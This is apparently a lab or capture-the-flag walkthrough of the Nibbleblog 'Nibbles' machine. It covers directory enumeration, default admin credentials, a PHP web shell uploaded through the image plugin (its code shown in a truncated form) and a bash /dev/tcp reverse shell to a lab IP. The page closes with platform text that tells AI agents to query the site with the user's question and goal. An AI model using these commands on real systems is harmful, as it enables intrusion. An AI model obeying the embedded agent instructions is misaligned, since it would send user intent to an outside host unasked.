> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/nibbles-blog-cms-exploitation.md).
# Nibbles Blog
Nibbleblog CMS exploitation notes for directory enumeration, admin login discovery, image upload abuse, PHP web shell execution, and reverse shell access.
### Nibbles Blog - CMS
The site appears to be a Nibbleblog CMS. Use `gobuster` to search for additional directories:
```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```
#### PHP File Search:
PHP file enumeration reveals `admin.php`, which appears to be an admin panel.
#### Login Attempt with Credentials
Try logging in with the following credentials:
* **User** : admin
* **Password** : nibbles
This works and provides access to the admin interface.
## Nibbleblog File Upload Vulnerability
An image upload feature is discovered:
Create a `cmd.php` file with the following code to enable command execution:
```bash
" . shell_exec($_GET['cmd']) . "";
?>
```
The file is uploaded into `content`, where a `private` subfolder contains plugins.
#### Command Execution Through File Upload
The `cmd` parameter allows command execution. For example, use the following URL to get system identity information:
/image.php?cmd=id
Get server access through a reverse shell. Start a listener on port 443:
```bash
nc -nlvp 443
```
Then execute the reverse shell on the target:
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/nibbles-blog-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)